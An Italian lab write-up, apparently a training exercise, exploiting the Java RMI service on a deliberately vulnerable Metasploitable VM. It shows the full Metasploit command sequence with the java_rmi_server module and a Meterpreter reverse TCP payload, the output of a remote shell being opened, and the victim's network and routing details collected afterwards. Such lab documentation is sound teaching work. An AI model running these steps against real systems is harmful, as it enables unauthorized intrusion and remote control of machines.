

## Exploit di Java RMI su Metasploitable: Sessione Meterpreter e Raccolta di Evidenze

### Introduzione

L'obiettivo di questo esercizio è sfruttare una vulnerabilità nel servizio Java RMI esposto sulla porta 1099 della macchina Metasploitable, utilizzando il framework Metasploit per ottenere una sessione Meterpreter. Una volta ottenuto l'accesso, è stato richiesto di raccogliere informazioni sulla configurazione di rete e sulla tabella di routing della macchina vittima.

### 1. Configurazione dell'Ambiente

Prima di iniziare, è stato verificato che la macchina attaccante (Kali) e la macchina vittima (Metasploitable) fossero correttamente configurate e raggiungibili sulla stessa rete.

- **Macchina Attaccante (KALI):**

- IP: 192.168.11.111

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 95 bytes 11506 (11.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 39 bytes 10606 (10.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

- **Macchina Vittima (Metasploitable):**

- IP: 192.168.11.112

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1b:6c:86
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1b:6c86/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3962 (3.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:105 errors:0 dropped:0 overruns:0 frame:0
          TX packets:105 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20681 (20.1 KB)  TX bytes:20681 (20.1 KB)

msfadmin@metasploitable:~$
```

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.447 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.396 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.389 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.605 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.957 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.805 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=0.606 ms
^C
— 192.168.11.112 ping statistics —
7 packets transmitted, 7 received, 0% packet loss, time 6257ms
rtt min/avg/max/mdev = 0.389/0.600/0.957/0.199 ms
```

Verifica della connettività tramite il comando **ping** dalla macchina Kali alla macchina Metasploitable.

## 2. Avvio di Metasploit

Avviamo metasploit con **msfconsole** per cercare e utilizzare un exploit adatto alla vulnerabilità Java RMI.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use help <command> to learn more about any command

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED...and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

  = [ metasploit v6.4.50-dev ]
+ -- -- [ 2496 exploits - 1274 auxiliary - 431 post ]
+ -- -- [ 1616 payloads - 49 encoders - 13 nops ]
+ -- -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

## 3. Ricerca e Selezione dell'Exploit

Con il comando **search java\_rmi** è stato cercato un exploit specifico per Java RMI all'interno di Metasploit.

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search java_rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	target: Generic (Java Payload)	.	.	.	.
3	target: Windows x86 (Native Payload)	.	.	.	.
4	target: Linux x86 (Native Payload)	.	.	.	.
5	target: Mac OS X PPC (Native Payload)	.	.	.	.
6	target: Mac OS X x86 (Native Payload)	.	.	.	.
7	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
8	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

```
Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

È stato utilizzato l'exploit **exploit/multi/misc/java\_rmi\_server**.

```
msf6 > use exploit/multi/misc/java_rmi_server
```

## 4. Configurazione dell'Exploit

L'exploit è stato configurato con gli indirizzi IP della macchina attaccante (Kali) e della macchina vittima (Metasploitable).

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Generic (Java Payload)

## 5. Esecuzione dell'Exploit

L'exploit è stato eseguito per ottenere una **sessione Meterpreter** sulla macchina vittima.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/I9oa9I8GHD
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:54851) at 2025-03-14 08:34:36 -0400

meterpreter > █
```

## 6. Raccolta delle Evidenze

Una volta ottenuta la **sessione Meterpreter**, sono state raccolte le informazioni richieste.

### a) Configurazione di Rete

```
meterpreter > ifconfig
```

```
Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1b:6c86
IPv6 Netmask : ::
```

## b) Tabella di Routing

```
meterpreter > route

IPv4 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  -----
  127.0.0.1    255.0.0.0    0.0.0.0
  192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  -----
  ::1
  fe80::a00:27ff:fe1b:6c86 ::
```

## 7. Conclusione

Concludendo è stato possibile sfruttare la vulnerabilità Java RMI per ottenere una sessione Meterpreter e raccogliere le informazioni richieste sulla configurazione di rete e sulla tabella di routing della macchina vittima.

```
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.11.112 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(multi/misc/java_rmi_server) > █
```

*Chiusura della sessione Meterpreter.*